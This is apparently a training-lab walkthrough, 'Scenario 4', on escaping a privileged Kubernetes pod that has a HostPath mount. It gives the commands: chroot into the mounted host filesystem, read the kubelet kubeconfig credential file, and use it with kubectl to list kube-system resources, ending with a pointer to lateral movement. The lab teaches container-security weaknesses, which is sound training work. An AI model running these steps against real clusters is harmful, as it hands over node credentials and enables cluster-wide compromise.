Container escape to access the host system

Scenario Information

Most of the monitoring, tracing, and debugging software requires to run with extra privileges and capabilities. Here in this scenario, we will see a pod with extra capabilities and privileges including HostPath allows us to gain access to the host system and provide Node level configuration to gain complete cluster compromise.

Scenario 4 Welcome

Scenario Solution

After performing the analysis, we identified that this container has complete privileges of the host system and allowed privilege escalation. As well as /host-system is mounted from the host system.

ls /
ls /host-system/

Scenario 4 host system

  • Gaining the host system privileges access chroot
chroot /host-system bash
docker ps

Scenario 4 chroot host

  • Accessing the node level kubelet Kubernetes configuration
cat /var/lib/kubelet/kubeconfig

Scenario 4 kubelet config

Download the kubectl locally to use this config and perform operations

  • Using the kubelet configuration to perform Kubernetes cluster-wide resources
kubectl --kubeconfig /var/lib/kubelet/kubeconfig get all -n kube-system

Scenario 4 get kube-system

  • From here we can go beyond by performing the lateral moment and post exploitation